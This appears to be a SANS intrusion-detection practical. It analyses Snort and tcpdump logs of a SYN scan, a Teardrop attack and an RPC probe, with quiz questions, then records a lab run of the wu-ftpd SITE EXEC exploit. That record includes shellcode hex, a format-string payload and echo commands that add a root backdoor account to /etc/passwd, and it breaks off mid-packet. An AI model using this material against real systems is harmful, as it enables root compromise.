02 35 30 02 34 31

07/31-13:40:25.959334 Source.address:38989 -> Ntbox.mynetwork:445
TCP TTL:40 TOS:0x0 ID:61124
**S***** Seq: 0xE2CD789D   Ack: 0x0   Win: 0x400
02 35 30 02 34 31

07/31-13:40:25.959431 Source.address:38989 -> Ntbox.mynetwork:4045
TCP TTL:40 TOS:0x0 ID:25164
**S***** Seq: 0xE2CD789D   Ack: 0x0   Win: 0x400
02 35 30 02 34 31
07/31-13:40:25.959517 Source.address:38989 -> Ntbox.mynetwork:5308
TCP TTL:40 TOS:0x0 ID:60142
**S***** Seq: 0xE2CD789D   Ack: 0x0   Win: 0x400
02 35 30 02 34 31

07/31-13:40:25.959601 Source.address:38989 -> Ntbox.mynetwork:715
TCP TTL:40 TOS:0x0 ID:31292
**S***** Seq: 0xE2CD789D   Ack: 0x0   Win: 0x400
02 35 30 02 34 31
```

1. Source of trace

a. My network

2. Detect was generated by:

07/31-13:40:25.959601[**Date & Time]** Source.address:**38989[Source address & Port]** -> Ntbox.mynetwork:**715[Destination address & Port]**
TCP**[Protocol]** TTL:40**[Time to live]** TOS:0x0**[Type of Service]** ID:31292**[ID #]****S*****[TCP Flags]** Seq: **0xE2CD789D[Sequence #]** Ack: 0x0**[Acknowledgement #]** Win: 0x400**[Win Size]**
02 35 30 02 34 31

a. Snort Intrusion Detection System
b. Incoming single SYN Alert

3. Probability source address was spoofed.

a. Low, IP address belongs to Concentric.Net and appears to be an SYN scan, which Source address will initiate 3-way handshake and use response from Ntbox.mynetwork to see what services are running.

4. Description of attack.

a. Attacker is using a network scanning tool to find out what services Ntbox.mynetwork (Computer System) is currently offering / listening.
b. This tool is used as a form of reconnaissance and is usually an initial step in an attack sequence.
c. The initial sequence numbers of the packets are the same and this indicates that the header was forged. Normal initial sequence numbers should be unique for each new TCP Header.

5. Attack Mechanism.

a. Attacker will send out SYN packets to a host inside the network, initiating a TCP three-way-handshake on a destination port number (ex: 139) on the host computer (Ntbox.mynetwork).

```
07/31-13:40:26.648386 Source.address:38989 -> Ntbox.mynetwork:139
TCP TTL:40 TOS:0x0 ID:18129
**S***** Seq: 0xE2CD789D   Ack: 0x0   Win: 0x400
```

b. The host (Ntbox.mynetwork) will respond by either sending a RST ACK response stating that the host does not offer the service running on port 139;

```
07/31-13:40:26.648395 Ntbox.mynetwork:139 -> Source.address:38989
TCP TTL:128 TOS:0x0 ID:5201
****R*A* Seq: 0x0   Ack: 0x4F6B7217   Win: 0x0
00 00 00 00 00 00                    ......
```

or if the host does offer the service, it responds back with a SYN ACK:

```
07/31-13:40:26.649429 Ntbox.mynetwork:139 -> Source.address:38989
TCP TTL:128 TOS:0x0 ID:30801  DF
**S***A* Seq: 0x1EBA4   Ack: 0xE2CD789E   Win: 0x2180
TCP Options => MSS: 1460
```

c. if the destination address (Ntbox.mynetwork) responds with a SYN ACK, the Source.address (attacker) will respond back with a RST, terminating the communication, and not completing the 3-way-handshake.

```
07/31-13:40:26.649821 Source.address:38989 -> Ntbox.mynetwork:139
TCP TTL:255 TOS:0x0 ID:1320
****R*** Seq: 0xE2CD789E   Ack: 0x0   Win: 0x0
02 35 30 02 34 31
```

6. Correlation:

a. Judy Novack described this reconnaissance attack on day three of the SANS DC conference (Shadow Style pg 243), also by Stephen Northcut on day four (Network Intrusion Analysis).
b. WINDUMP listed below also shows more correlation of the NMAP scan:

```
13:40:25.958829 Source.address.38989 > Ntbox.mynetwork.715: S
3805116573:3805116573(0) win 1024
13:40:26.284341 Ntbox.mynetwork:715 > Source.address.38989: R 0:0(0)
ack 3805116574 win 0
```

7. Evidence of active targeting.

a. This attack was generated at a specific host.

8. Severity

a. (Critical + Lethal) – (System + Network Countermeasures) = Severity
b. (2+ 2) – (3 +3) = -2

9. Defensive Countermeasures

a. Place new rule in IDS (Snort) to look and detect Syn packets, and at the firewall deny all incoming SYN packets.

10. Multiple choice question:

This log was generated by which IDS:

A. Shadow
B. Snort
C. Real Secure
D. Net Ranger

Answer B

Detect #4 – (Back)

```
-*> Snort! <*-
Version 1.6
By Martin Roesch (roesch@clark.net, www.clark.net/~roesch)
08/01-09:45:12.171201 source.address -> linux.mynetwork
UDP TTL:64 TOS:0x0 ID:242  MF
Frag Offset: 0x0   Frag Size: 0x24
DB 69 0C 97 00 24 00 00 00 00 00 00 00 00 00 00  .i...$..........
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00                                      ....

08/01-09:45:12.171246 source.address -> linux.mynetwork
UDP TTL:64 TOS:0x0 ID:242
Frag Offset: 0x3   Frag Size: 0x1A
DB 69 0C 97 97 97 97 97 97 97 97 97 97 97 97 97  .i..............
97 97 97 97 97 97 97 97 97 97                    ..........

08/01-09:45:12.188516 source.address -> linux.mynetwork
UDP TTL:64 TOS:0x0 ID:242  MF
Frag Offset: 0x0   Frag Size: 0x24
DB 69 0C 97 00 24 00 00 00 00 00 00 00 00 00 00  .i...$..........
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00                                      ....

08/01-09:45:12.188566 source.address -> linux.mynetwork
UDP TTL:64 TOS:0x0 ID:242
Frag Offset: 0x3   Frag Size: 0x1A
DB 69 0C 97 97 97 97 97 97 97 97 97 97 97 97 97  .i..............
```

TCPDUMP

```
09:45:12.171201 eth0 < source.address.56169 > linux.mynetwork.3223: udp 28
(frag 242:36@0+)
09:45:12.171246 eth0 < source.address > linux.mynetwork: (frag 242:4@24)
09:45:12.188516 eth0 < source.address.56169 > linux.mynetwork.3223: udp 28
(frag 242:36@0+)
09:45:12.188566 eth0 < source.address > linux.mynetwork: (frag 242:4@24)
09:45:12.208885 eth0 < source.address.56169 > linux.mynetwork.3223: udp 28
(frag 242:36@0+)
09:45:12.208933 eth0 < source.address > linux.mynetwork: (frag 242:4@24)
```

```
09:45:12.228497 eth0 < source.address.56169 > linux.mynetwork.3223: udp 28
(frag 242:36@0+)
09:45:12.228545 eth0 < source.address > linux.mynetwork: (frag 242:4@24)
09:45:12.248509 eth0 < source.address.56169 > linux.mynetwork.3223: udp 28
(frag 242:36@0+)
09:45:12.248558 eth0 < source.address > linux.mynetwork: (frag 242:4@24)
```

1. Source of trace

a. My network

2. Detect was generated by:

a. Snort IDS / TCPDUMP
b. Teardrop Alert

3. Probability source address was source.

a. High, IP address was not an active IP address, also the offset of the fragmented packets overlap indicating a Teardrop attack which uses a spoofed source address. Fragment ID's also are a constant which denotes a crafted packet.

4. Description of attack.

a. Attacker is using a Denial of Service Attack, which is believed to be a Teardrop attack. The Teardrop attack exploits a weakness in the reassembly process of fragments. The Teardrop program creates fragments with overlapping offset fields

Example:

```
09:45:12.171201 eth0 < source.address.56169 > linux.mynetwork.3223: udp 28
(frag 242:36@0+)
09:45:12.171246 eth0 < source.address > linux.mynetwork: (frag 242:4@24)
```

The fragment reassembly is handled by the destination host, and during This reassembly, the destination host may crash, hang or even reboot.

5. Attack Mechanism.

a. The attacker will craft udp packets with overlapping offsets and send them to the destination host. In the TCPDUMP capture below, you will see in the first packet, which has the fragment ID of 242 has a length of 36 bytes of data and an offset of 0 bytes. The first fragment also has the + sign which denotes that there is more than one fragment. The second packet is linked to the first packet because of the fragment ID 242, it has a length of 4 bytes and an offset of 24 bytes into the data portion. The second packet

does not contain the + sign denoting that it is the last packet and no packets will follow. Since the first packet has a length of 36 bytes and the offset of the second packet is only 24 bytes, bytes 24 through bytes 27 will be overlapped. When the destination computer attempts to reassemble this fragmented packet, it will see the packet as a negative number and will cause the computer system to crash, or hang.

```
09:45:12.171201 eth0 < source.address.56169 > linux.mynetwork.3223: udp 28
(frag 242:36@0+)
09:45:12.171246 eth0 < source.address > linux.mynetwork: (frag 242:4@24)
```

6. Correlation:

a. Steven Northcut described this reconnaissance attack on day four of the SANS DC conference (Intrusion Detection Analysis).
b. TCPDUMP listed above also shows more correlation of the Teardrop attack.

7. Evidence of active targeting.

a. This attack was generated at a specific host.

8. Severity

a. (Critical + Lethal) – (System + Network Countermeasures) = Severity
b. (2+ 2) – (4+3) = -3

9. Defensive Countermeasures

a. Place new rule in IDS (Snort) to look and log udp packets with overlapping offsets

10. Multiple choice question:

Which item is not a signature of a teardrop attack:

A. overlapping offsets
B. Unique fragment ID's
C. Same Fragments ID's
D. Source IP address

Answer B

Detect #5 – (Back)

```
-*> Snort! <*-
Version 1.6
By Martin Roesch (roesch@clark.net, www.clark.net/~roesch)
08/02-13:25:43.159799 Source.address:953 -> Linux.mynetwork:111
TCP TTL:64 TOS:0x0 ID:13384  DF
**S***** Seq: 0x58973EE   Ack: 0x0   Win: 0x7D78
TCP Options => MSS: 1460 SackOK TS: 16533696 0 NOP WS: 0

08/02-13:25:43.160107 Linux.mynetwork:111 -> Source.address:953
TCP TTL:64 TOS:0x0 ID:2358  DF
**S***A* Seq: 0xA2DFD861   Ack: 0x58973EF   Win: 0x7D78
TCP Options => MSS: 1460 SackOK TS: 140580314 16533696 NOP WS: 0

08/02-13:25:43.160706 Source.address:953 -> Linux.mynetwork:111
TCP TTL:64 TOS:0x0 ID:13385  DF
******A* Seq: 0x58973EF   Ack: 0xA2DFD862   Win: 0x7D78
TCP Options => NOP NOP TS: 16533696 140580314

08/02-13:25:43.161670 Source.address:953 -> Linux.mynetwork:111
TCP TTL:64 TOS:0x0 ID:13386  DF
*****PA* Seq: 0x58973EF   Ack: 0xA2DFD862   Win: 0x7D78
TCP Options => NOP NOP TS: 16533696 140580314
80 00 00 28 38 86 8E D9 00 00 00 00 00 00 00 02  ...(8...........
00 01 86 A0 00 00 00 02 00 00 00 04 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00              ............

08/02-13:25:43.161875 Linux.mynetwork:111 -> Source.address:953
TCP TTL:64 TOS:0x0 ID:2359  DF
******A* Seq: 0xA2DFD862   Ack: 0x589741B   Win: 0x7D78
TCP Options => NOP NOP TS: 140580314 16533696

08/02-13:25:43.164129 Linux.mynetwork:111 -> Source.address:953
TCP TTL:64 TOS:0x0 ID:2360  DF
*****PA* Seq: 0xA2DFD862   Ack: 0x589741B   Win: 0x7D78
TCP Options => NOP NOP TS: 140580314 16533696
80 00 00 BC 38 86 8E D9 00 00 00 01 00 00 00 00  ....8...........
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01  ................
00 01 86 A0 00 00 00 02 00 00 00 06 00 00 00 6F  ...............o
00 00 00 01 00 01 86 A0 00 00 00 02 00 00 00 11  ................
00 00 00 6F 00 00 00 01 00 01 86 B5 00 00 00 01  ...o............
00 00 00 11 00 00 04 00 00 00 00 01 00 01 86 B5  ................
00 00 00 03 00 00 00 11 00 00 04 00 00 00 00 01  ................
00 01 86 B5 00 00 00 01 00 00 00 06 00 00 04 00  ................
00 00 00 01 00 01 86 B5 00 00 00 03 00 00 00 06  ................
00 00 04 00 00 00 00 01 00 01 86 B8 00 00 00 01  ................
00 00 00 11 00 00 03 C1 00 00 00 01 00 01 86 B8  ................
00 00 00 01 00 00 00 06 00 00 03 C3 00 00 00 00  ................

08/02-13:25:43.164925 Source.address:953 -> Linux.mynetwork:111
TCP TTL:64 TOS:0x0 ID:13387  DF
******A* Seq: 0x589741B   Ack: 0xA2DFD922   Win: 0x7D78
TCP Options => NOP NOP TS: 16533696 140580314
```

```
08/02-13:25:43.182220 Source.address:953 -> Linux.mynetwork:111
```

1. Source of trace

a. My network

2. Detect was generated by:

```
07/31-11:12:31.890133[Date & Time] Source.address:1024[Source Address][Port
Number] -> Linux.mynetwork:80[Dest. Address][Port Number]TCP [Protocol]
TTL:64 [Time to Live] TOS:0x0 [Type of Service]ID:42[ID]  DF[Don't Fragment
Flag]
**S***** Seq: 0x7D3648F9[Sequence Number]   Ack: 0x0[Acknowledge
Number] Win: 0x3EBC[Window Size] TCP Options => MSS: 1460[Maximum
Segment Size] SackOK TS: 115773 0 NOP WS: 0
```

a. Snort IDS
b. Port 111 Portmapper Alert

3. Probability source address was spoofed.

a. None, source.address initiates a three-way-handshake by sending a SYN packet, Linux.mynetwork responds with SYN ACK, stating that it is listening on port 111 sunrpc (portmapper). The source.address responds by sending back an ACK stating that it acknowledges that the Linux.mynetwork is listening on port 111 sunrpc (portmapper). Therefore since the communication is going in both directions, the source address is not spoofed.

```
13:25:43.159799 eth0 < Source.address.953 > Linux.mynetwork.sunrpc: S
92894190:92894190(0) win 32120 <mss 1460,sackOK,timestamp 16533696
0,nop,wscale 0> (DF)

13:25:43.160107 eth0 > Linux.mynetwork.sunrpc > Source.address.953: S
2732578913:2732578913(0) ack 92894191 win 32120 <mss 1460,sackOK,timestamp
140580314 16533696,nop,wscale 0> (DF)

13:25:43.160706 eth0 < Source.address.953 > Linux.mynetwork.sunrpc: . 1:1(0)
ack 1 win 32120 <nop,nop,timestamp 16533696 140580314> (DF)
```

4. Description of attack.

a. Attack appears to be a host scanning tool directed at an individual host, to find what rpc services are running on that host; ex: port 111.
b. The attacker (Source.address) will initiate a 3-way-handshake and if the target host (Linux.mynetwork) responds with a SYN ACK, the attacker will identify that the portmapper service is running on port 111.

c. The attacker can then use the information that he/she receives and run a more specific attack. Attacker goes after portmapper because it points to other rpc services running on the target machine.

5. Attack Mechanism.

a. The attacker will initiate a communication (TCP 3-way-handshake) with the Linux.mynetwork on port 111 (sunrpc). The target system (Linux.mynetwork) then responds with a SYN ACK, stating that it has a portmapper service listening on port 111. The attacker will then send back an ACK and complete the 3-way-hanshake.
b. The attacker will then push data to the target system to identify what rpc portmapper version is running on port 111.
c. With this information, the attacker can next target the system with a more specific attack for the version of portmapper. This attack is a form a reconnaissance.

6. Correlation:

a. This attack / reconnaissance was described on day four of the SANS DC conference by Stephen Northcut (Network Intrusion Analysis pg 256).
b. TCPDUMP listed below also shows more correlation of the rpc reconnaissance attack.

```
13:25:43.159799 eth0 < Source.address.953 > Linux.mynetwork.sunrpc: S
92894190:92894190(0) win 32120 <mss 1460,sackOK,timestamp 16533696
0,nop,wscale 0> (DF)
13:25:43.160107 eth0 > Linux.mynetwork.sunrpc > Source.address.953: S
2732578913:2732578913(0) ack 92894191 win 32120 <mss 1460,sackOK,timestamp
140580314 16533696,nop,wscale 0> (DF)
13:25:43.160706 eth0 < Source.address.953 > Linux.mynetwork.sunrpc: . 1:1(0)
ack 1 win 32120 <nop,nop,timestamp 16533696 140580314> (DF)
13:25:43.161670 eth0 < Source.address.953 > Linux.mynetwork.sunrpc: P
1:45(44) ack 1 win 32120 <nop,nop,timestamp 16533696 140580314> (DF)
13:25:43.161875 eth0 > Linux.mynetwork.sunrpc > Source.address.953: . 1:1(0)
ack 45 win 32120 <nop,nop,timestamp 140580314 16533696> (DF)
13:25:43.164129 eth0 > Linux.mynetwork.sunrpc > Source.address.953: P
1:193(192) ack 45 win 32120 <nop,nop,timestamp 140580314 16533696> (DF)
13:25:43.164925 eth0 < Source.address.953 > Linux.mynetwork.sunrpc: .
45:45(0) ack 193 win 32120 <nop,nop,timestamp 16533696 140580314> (DF)
13:25:43.182220 eth0 < Source.address.953 > Linux.mynetwork.sunrpc: F
45:45(0) ack 193 win 32120 <nop,nop,timestamp 16533698 140580314> (DF)
13:25:43.182411 eth0 > Linux.mynetwork.sunrpc > Source.address.953: .
193:193(0) ack 46 win 32120 <nop,nop,timestamp 140580316 16533698> (DF)
13:25:43.182809 eth0 > Linux.mynetwork.sunrpc > Source.address.953: F
193:193(0) ack 46 win 32120 <nop,nop,timestamp 140580316 16533698> (DF)
13:25:43.183278 eth0 < Source.address.953 > Linux.mynetwork.sunrpc: .
46:46(0) ack 194 win 32120 <nop,nop,timestamp 16533698 140580316> (DF)
```

7. Evidence of active targeting.

a. This attack was generated at a specific host.

8. Severity

a. (Critical + Lethal) – (System + Network Countermeasures) = Severity
b. (2+ 3) – (2+2) = 1

9. Defensive Countermeasures

a. Set rule in Snort IDS to detect scans with dest. Port of 111.
b. Block all incoming single syn packets at the firewall, if you do not want people initiating tcp communications with his specific system

10. Multiple choice question:

Which service on port 111?

A. Portmapper
B. DNS
C. Telnet
D. FTP

Answer A

Assignment 2 –Evaluate and attack – (Back)

1. URL for Attack

a. www.securityfocus.com (wuftp-god.c) linux based attack on FTP

2. Command Run (on Linux.mynetwork machine)

a. #./wuftp-god –t linux.mynetwork –s 0 (Site Exec Exploit)

3. Description of attack

Exploit was downloaded from packetstorm.securify.com and was compiled on the source.network machine running Linux 6.2. The exploit was wuftp.c and is a ftp

Site Exec vulnerability with wu-ftp for linux 6.2, that allows the attacker to run remote commands on the victim machine.

Washington University ftp daemon (**wu-ftpd**) is a very popular unix ftp server shipped with many distributions of Linux and other UNIX operating systems. Wu-ftpd is vulnerable to a very serious remote attack in the **SITE EXEC** implementation. Because of user input going directly into a format string for a *printf function, it is possible to overwrite important data, such as a return address, on the stack. When this is accomplished, the function can jump into shellcode pointed to by the overwritten eip and execute arbitrary commands as root. While exploited in a manner similar to a buffer overflow, it is actually an input validation problem. Anonymous ftp is exploitable making it even more serious as attacks can come anonymously from anywhere on the internet.

The exploit was run with the command #./wuftp-god –t linux.mynetwork –s 0 (Site Exec Exploit). The Source.address will use the site exec vulnerability to run remote commands on port 21 (ftp) of the victim's machine. The attacker will then be prompted with a list of system commands that can be remotely run on the victim (Linux.mynetwork machine) ex: echo. In this attack, the attacker used the echo command to append to new accounts to the /etc/passwd file, to ensure he/she would be able to log back into the victim's machine at a future time. Ex:

echo "chuckd::10:100:Chuck D.:/tmp:/bin/bash >> /etc/passwd

The first account created is a regular user account. This was done to ensure that in case the remote system did not allow root to log in from other than the console. The attacker can then log in as a valid user with password (Chuck D. is the user name as seen below in snort log) and su to the second account he created as toot that has an user ID of 0 (root) and a group ID of 0 (root). See below:

echo "toor::0:0:Owned:/root:/bin/bash" >> /etc/passwd

These two command will be appended to the victim's (Linux.mynetwork) machine's /etc/passwd file. The attacker will now be able to log in that computer system and gain root privileges any time he/she desires. You can also see in the below traffic analysis, that the user logged in as Chuck D. and then switched user to the new account he created with root privileges as toor. He/She then checked to make sure that the account was root by using the ID command. See below:

#id
uid=0(root) gid=0(root) groups=0 (root)..

The attacker now owns this box!!!

```
-*> Snort! <*-
Version 1.6
By Martin Roesch (roesch@clark.net, www.clark.net/~roesch)
08/01-12:18:58.787530 Source.address:1940 -> Linux.mynetwork:21
TCP TTL:64 TOS:0x0 ID:8655  DF
**S***** Seq: 0xAD2953DD   Ack: 0x0   Win: 0x3EBC
TCP Options => MSS: 1460 SackOK TS: 2268351 0 NOP WS: 0

08/01-12:18:58.787930 Linux.mynetwork:21 -> Source.address:1940
TCP TTL:64 TOS:0x0 ID:5420  DF
**S***A* Seq: 0xCC266B7A   Ack: 0xAD2953DE   Win: 0x7D78
TCP Options => MSS: 1460 SackOK TS: 7493403 2268351 NOP WS: 0

08/01-12:18:58.788278 Source.address:1940 -> Linux.mynetwork:21
TCP TTL:64 TOS:0x0 ID:8656  DF
******A* Seq: 0xAD2953DE   Ack: 0xCC266B7B   Win: 0x3EBC
TCP Options => NOP NOP TS: 2268351 7493403

** Three-way-handshake completed on port 21 (FTP) **

08/01-12:19:01.886217 Linux.mynetwork:21 -> Source.address:1940
TCP TTL:64 TOS:0x10 ID:5426  DF
*****PA* Seq: 0xCC266B7B   Ack: 0xAD2953DE   Win: 0x7D78
TCP Options => NOP NOP TS: 7493713 2268351
32 32 30 20 62 75 67 73 2E 6C 6F 6F 6E 65 79 2E  220 bugs.looney.
63 72 34 2E 6E 65 74 20 46 54 50 20 73 65 72 76  cr4.net FTP serv
65 72 20 28 56 65 72 73 69 6F 6E 20 77 75 2D 32  er (Version wu-2
2E 36 2E 30 28 31 29 20 4D 6F 6E 20 46 65 62 20  .6.0(1) Mon Feb
32 38 20 31 30 3A 33 30 3A 33 36 20 45 53 54 20  28 10:30:36 EST
32 30 30 30 29 20 72 65 61 64 79 2E 0D 0A        2000) ready...

** Banner for FTP on Linux Box **

08/01-12:19:01.886584 Source.address:1940 -> Linux.mynetwork:21
TCP TTL:64 TOS:0x0 ID:8657  DF
******A* Seq: 0xAD2953DE   Ack: 0xCC266BD9   Win: 0x3EBC
TCP Options => NOP NOP TS: 2268661 7493713

08/01-12:19:01.889036 Source.address:1940 -> Linux.mynetwork:21
TCP TTL:64 TOS:0x0 ID:8658  DF
*****PA* Seq: 0xAD2953DE   Ack: 0xCC266BD9   Win: 0x3EBC
TCP Options => NOP NOP TS: 2268661 7493713
55 53 45 52 20 66 74 70 0D 0A                    USER ftp..
```

**** Exploit logging into ftp sever using ftp as user ****

```
08/01-12:19:01.889301 Linux.mynetwork:21 -> Source.address:1940
TCP TTL:64 TOS:0x10 ID:5427  DF
******A* Seq: 0xCC266BD9   Ack: 0xAD2953E8   Win: 0x7D78
TCP Options => NOP NOP TS: 7493713 2268661

08/01-12:19:01.896982 Linux.mynetwork:21 -> Source.address:1940
TCP TTL:64 TOS:0x10 ID:5428  DF
*****PA* Seq: 0xCC266BD9   Ack: 0xAD2953E8   Win: 0x7D78
TCP Options => NOP NOP TS: 7493714 2268661
```

```
33 33 31 20 47 75 65 73 74 20 6C 6F 67 69 6E 20  331 Guest login
6F 6B 2C 20 73 65 6E 64 20 79 6F 75 72 20 63 6F  ok, send your co
6D 70 6C 65 74 65 20 65 2D 6D 61 69 6C 20 61 64  mplete e-mail ad
64 72 65 73 73 20 61 73 20 70 61 73 73 77 6F 72  dress as passwor
64 2E 0D 0A                                      d...
```

**** Victim's box responding to user login now asking for password ****

```
08/01-12:19:01.900272 Source.address:1940 -> Linux.mynetwork:21
TCP TTL:64 TOS:0x0 ID:8659  DF
*****PA* Seq: 0xAD2953E8   Ack: 0xCC266C1D   Win: 0x3EBC
TCP Options => NOP NOP TS: 2268662 7493714
50 41 53 53 20 90 90 90 90 90 90 90 90 90 90 90  PASS ...........
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
31 C0 31 DB 31 C9 B0 46 CD 80 31 C0 31 DB 43 89  1.1.1..F..1.1.C.
D9 41 B0 3F CD 80 EB 6B 5E 31 C0 31 C9 8D 5E 01  .A.?...k^1.1..^.
88 46 04 66 B9 FF FF 01 B0 27 CD 80 31 C0 8D 5E  .F.f.....'..1..^
01 B0 3D CD 80 31 C0 31 DB 8D 5E 08 89 43 02 31  ..=..1.1..^..C.1
C9 FE C9 31 C0 8D 5E 08 B0 0C CD 80 FE C9 75 F3  ...1..^.......u.
31 C0 88 46 09 8D 5E 08 B0 3D CD 80 FE 0E B0 30  1..F..^..=.....0
FE C8 88 46 04 31 C0 88 46 07 89 76 08 89 46 0C  ...F.1..F..v..F.
89 F3 8D 4E 08 8D 56 0C B0 0B CD 80 31 C0 31 DB  ...N..V.....1.1.
B0 01 CD 80 E8 90 FF FF FF FF FF FF 30 62 69 6E  ............0bin
30 73 68 31 2E 2E 31 31 0D 0A                    0sh1..11..
```

**** default exploit password being sent to port 21 on victim's machine ****

```
08/01-12:19:01.903209 Linux.mynetwork:21 -> Source.address:1940
TCP TTL:64 TOS:0x10 ID:5429  DF
******A* Seq: 0xCC266C1D   Ack: 0xAD2955E2   Win: 0x7D78
TCP Options => NOP NOP TS: 7493715 2268662

08/01-12:19:01.921875 Linux.mynetwork:21 -> Source.address:1940
TCP TTL:64 TOS:0x10 ID:5430  DF
*****PA* Seq: 0xCC266C1D   Ack: 0xAD2955E2   Win: 0x7D78
```

```
TCP Options => NOP NOP TS: 7493716 2268662
32 33 30 2D 54 68 65 20 72 65 73 70 6F 6E 73 65  230-The response
20 27 90 90 90 90 90 90 90 90 90 90 90 90 90 90   '..............
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 31 C0 31  .............1.1
DB 31 C9 B0 46 CD 80 31 C0 31 DB 43 89 D9 41 B0  .1..F..1.1.C..A.
3F CD 80 EB 6B 5E 31 C0 31 C9 8D 5E 01 88 46 04  ?...k^1.1..^..F.
66 B9 FF 01 B0 27 CD 80 31 C0 8D 5E 01 B0 3D CD  f....'..1..^..=.
80 31 C0 31 DB 8D 5E 08 89 43 02 31 C9 FE C9 31  .1.1..^..C.1...1
C0 8D 5E 08 B0 0C CD 80 FE C9 75 F3 31 C0 88 46  ..^.......u.1..F
09 8D 5E 08 B0 3D CD 80 FE 0E B0 30 FE C8 88 46  ..^..=.....0...F
04 31 C0 88 46 07 89 76 08 89 46 0C 89 F3 8D 4E  .1..F..v..F....N
08 8D 56 0C B0 0B CD 80 31 C0 31 DB B0 01 CD 80  ..V.....1.1.....
E8 90 FF FF FF 30 62 69 6E 30 73 68 31 2E 2E 31  .....0bin0sh1..1
31 27 20 69 73 20 6E 6F 74 20 76 61 6C 69 64 0D  1' is not valid.
0A                                               .
```

**** sends the password with data then with /bin/sh at end of password ****

```
08/01-12:19:01.934433 Source.address:1940 -> Linux.mynetwork:21
TCP TTL:64 TOS:0x0 ID:8660  DF
******A* Seq: 0xAD2955E2   Ack: 0xCC266E2E   Win: 0x3EBC
TCP Options => NOP NOP TS: 2268666 7493716

08/01-12:19:01.935058 Linux.mynetwork:21 -> Source.address:1940
TCP TTL:64 TOS:0x10 ID:5431  DF
*****PA* Seq: 0xCC266E2E   Ack: 0xAD2955E2   Win: 0x7D78
TCP Options => NOP NOP TS: 7493718 2268666
32 33 30 2D 4E 65 78 74 20 74 69 6D 65 20 70 6C  230-Next time pl
65 61 73 65 20 75 73 65 20 79 6F 75 72 20 65 2D  ease use your e-
6D 61 69 6C 20 61 64 64 72 65 73 73 20 61 73 20  mail address as
79 6F 75 72 20 70 61 73 73 77 6F 72 64 0D 0A 32  your password..2
33 30 2D 20 20 20 20 20 20 20 20 66 6F 72 20 65  30-        for e
78 61 6D 70 6C 65 3A 20 6A 6F 65 40 31 30 2E 31  xample: joe@10.1
2E 34 32 2E 36 35 0D 0A 32 33 30 20 47 75 65 73  .42.65..230 Gues
74 20 6C 6F 67 69 6E 20 6F 6B 2C 20 61 63 63 65  t login ok, acce
73 73 20 72 65 73 74 72 69 63 74 69 6F 6E 73 20  ss restrictions
```

```
61 70 70 6C 79 2E 0D 0A                          apply...
```

**** Victim machine excepts ftp user & password and gives further information about logging into ftp next time for valid password. Victim's machine allowed default user and password to log into system.**

```
08/01-12:19:01.954444 Source.address:1940 -> Linux.mynetwork:21
TCP TTL:64 TOS:0x0 ID:8661  DF
******A* Seq: 0xAD2955E2   Ack: 0xCC266EC6   Win: 0x3EBC
TCP Options => NOP NOP TS: 2268668 7493718

08/01-12:19:03.945580 Source.address:1940 -> Linux.mynetwork:21
TCP TTL:64 TOS:0x0 ID:8662  DF
*****PA* Seq: 0xAD2955E2   Ack: 0xCC266EC6   Win: 0x3EBC
TCP Options => NOP NOP TS: 2268867 7493718
73 69 74 65 20 65 78 65 63 20 78 78 28 B0 FF FF  site exec xx(...
BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66  .%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25  %.f%.f%.f%.f%.f%
